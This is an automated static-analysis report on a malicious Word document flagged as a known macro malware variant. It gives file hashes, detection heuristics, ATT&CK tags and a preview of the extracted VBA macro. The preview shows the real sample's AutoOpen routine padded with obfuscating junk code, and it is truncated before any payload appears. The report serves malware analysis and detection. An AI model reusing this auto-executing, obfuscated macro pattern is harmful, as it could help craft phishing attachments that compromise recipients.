Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 562767729b5d31ff…

MALICIOUS

Office (OLE)

175.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: b9fcf021f34e4b6d50e92d420facf63b SHA-1: b027d7a53f0c2ae981d19491bd8ec6344bb883a9 SHA-256: 562767729b5d31fff1c4bbe9906a515276c59c61e11714621c8f7a9c65fb2aec
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a malicious Office document containing a legacy WordBasic AutoOpen macro, as indicated by multiple heuristics. The ClamAV detection name 'Doc.Malware.Sagent-6697295-0' suggests it is a known malware variant. The macro's purpose is to execute malicious code, likely leading to further compromise, consistent with a phishing attachment.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 67039 bytes
SHA-256: 3bba2f1fe5cd7a50323184236fdc3930947e0517e4480a3457a7d062a56db828
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const hOPahiZujAFEqFzbISoZuWuWyNOXoRYrApAqzy = 0
Sub AutoOpen()
On Error Resume Next
Dim XUwekOpUBUJUDyciUpIMOTupEQIXusAw(4)
Dim gatOmakULeQAmuJYhEkATylylO(4)

If 11 = 11 + (3 * 0) Then
gatOmakULeQAmuJYhEkATylylO(0) = CLng(5370)
End If
gatOmakULeQAmuJYhEkATylylO(1) = Sqr(3)
gatOmakULeQAmuJYhEkATylylO(2) = Month(53705370)
gatOmakULeQAmuJYhEkATylylO(3) = Fix(5370.3)

Dim SaKuJiHegOKEpATOVOmuWyfYquHasaLoCYi(4)

If 13 = 13 + (5 * 0) Then
SaKuJiHegOKEpATOVOmuWyfYquHasaLoCYi(0) = CLng(591)
End If
SaKuJiHegOKEpATOVOmuWyfYquHasaLoCYi(1) = Sqr(5)
SaKuJiHegOKEpATOVOmuWyfYquHasaLoCYi(2) = Month(591591)
SaKuJiHegOKEpATOVOmuWyfYquHasaLoCYi(3) = Fix(591.5)
Dim xemeKyvuGyhuxAxEMidazaHaEzUMygjUkosUViX(4)

If 10 = 10 + (3 * 0) Then
xemeKyvuGyhuxAxEMidazaHaEzUMygjUkosUViX(0) = CLng(1613)
End If
xemeKyvuGyhuxAxEMidazaHaEzUMygjUkosUViX(1) = Sqr(3)
xemeKyvuGyhuxAxEMidazaHaEzUMygjUkosUViX(2) = Month(16131613)
xemeKyvuGyhuxAxEMidazaHaEzUMygjUkosUViX(3) = Fix(1613.3)
If 11 = 11 + (6 * 0) Then
Dim XanaVOKaMEJUPiVYFEsUpYVWOZLyUgurOVYFudeVul(4)

If 12 = 12 + (2 * 0) Then
XanaVOKaMEJUPiVYFEsUpYVWOZLyUgurOVYFudeVul(0) = CLng(8042)
End If
XanaVOKaMEJUPiVYFEsUpYVWOZLyUgurOVYFudeVul(1) = Sqr(2)
XanaVOKaMEJUPiVYFEsUpYVWOZLyUgurOVYFudeVul(2) = Month(80428042)
XanaVOKaMEJUPiVYFEsUpYVWOZLyUgurOVYFudeVul(3) = Fix(8042.2)
XUwekOpUBUJUDyciUpIMOTupEQIXusAw(0) = CLng(1933)
Dim KATIidIVonUhiKyLYTuPOHYiGyDanyvUQiTIJ(4)

If 11 = 11 + (9 * 0) Then
KATIidIVonUhiKyLYTuPOHYiGyDanyvUQiTIJ(0) = CLng(7634)
End If
KATIidIVonUhiKyLYTuPOHYiGyDanyvUQiTIJ(1) = Sqr(9)
KATIidIVonUhiKyLYTuPOHYiGyDanyvUQiTIJ(2) = Month(76347634)
KATIidIVonUhiKyLYTuPOHYiGyDanyvUQiTIJ(3) = Fix(7634.9)
Dim ZakujEROPodIneleTolvyhibiQYaaMUDIKaguCelUv(4)

If 11 = 11 + (1 * 0) Then
ZakujEROPodIneleTolvyhibiQYaaMUDIKaguCelUv(0) = CLng(5485)
End If
ZakujEROPodIneleTolvyhibiQYaaMUDIKaguCelUv(1) = Sqr(1)
ZakujEROPodIneleTolvyhibiQYaaMUDIKaguCelUv(2) = Month(54855485)
ZakujEROPodIneleTolvyhibiQYaaMUDIKaguCelUv(3) = Fix(5485.1)
End If
Dim cUQYQumOcEHOVaaialUrnuHAKIQaFeSYDIRY(4)

If 13 = 13 + (5 * 0) Then
cUQYQumOcEHOVaaialUrnuHAKIQaFeSYDIRY(0) = CLng(8050)
End If
cUQYQumOcEHOVaaialUrnuHAKIQaFeSYDIRY(1) = Sqr(5)
cUQYQumOcEHOVaaialUrnuHAKIQaFeSYDIRY(2) = Month(80508050)
cUQYQumOcEHOVaaialUrnuHAKIQaFeSYDIRY(3) = Fix(8050.5)
Dim fyKImfaVAXoNYNQABqYREfiZotImoFuHoJi(4)

If 11 = 11 + (2 * 0) Then
fyKImfaVAXoNYNQABqYREfiZotImoFuHoJi(0) = CLng(5859)
End If
fyKImfaVAXoNYNQABqYREfiZotImoFuHoJi(1) = Sqr(2)
fyKImfaVAXoNYNQABqYREfiZotImoFuHoJi(2) = Month(58595859)
fyKImfaVAXoNYNQABqYREfiZotImoFuHoJi(3) = Fix(5859.2)
XUwekOpUBUJUDyciUpIMOTupEQIXusAw(1) = Sqr(6)
XUwekOpUBUJUDyciUpIMOTupEQIXusAw(2) = Month(19331933)
XUwekOpUBUJUDyciUpIMOTupEQIXusAw(3) = Fix(1933.6)
Dim HiDIkubwoweQeTiZYzyDoRyBAiApIk(4)

If 10 = 10 + (5 * 0) Then
HiDIkubwoweQeTiZYzyDoRyBAiApIk(0) = CLng(121)
End If
HiDIkubwoweQeTiZYzyDoRyBAiApIk(1) = Sqr(5)
HiDIkubwoweQeTiZYzyDoRyBAiApIk(2) = Month(121121)
HiDIkubwoweQeTiZYzyDoRyBAiApIk(3) = Fix(121.5)
Dim geFiRaqEdoqemuSCYtugopiDOVoL(4)
Dim JoDEieHiCoiuJOApozIHokiguhdCefxeSUse(4)

If 12 = 12 + (6 * 0) Then
JoDEieHiCoiuJOApozIHokiguhdCefxeSUse(0) = CLng(2789)
End If
JoDEieHiCoiuJOApozIHokiguhdCefxeSUse(1) = Sqr(6)
JoDEieHiCoiuJOApozIHokiguhdCefxeSUse(2) = Month(27892789)
JoDEieHiCoiuJOApozIHokiguhdCefxeSUse(3) = Fix(2789.6)

Dim VUioXeJyzIiulAvIvozAZuvIRyd(4)

If 12 = 12 + (3 * 0) Then
VUioXeJyzIiulAvIvozAZuvIRyd(0) = CLng(4510)
End If
VUioXeJyzIiulAvIvozAZuvIRyd(1) = Sqr(3)
VUioXeJyzIiulAvIvozAZuvIRyd(2) = Month(45104510)
VUioXeJyzIiulAvIvozAZuvIRyd(3) = Fix(4510.3)
If 12 = 12 + (1 * 0) Then
geFiRaqEdoqemuSCYtugopiDOVoL(0) = CLng(9683)
Dim RaMavohuCIVUJUmIiYMaFELIBOteg(4)

If 10 = 10 + (5 * 0) Then
RaMavohuCIVUJUmIiYMaFELIBOt
... (truncated)

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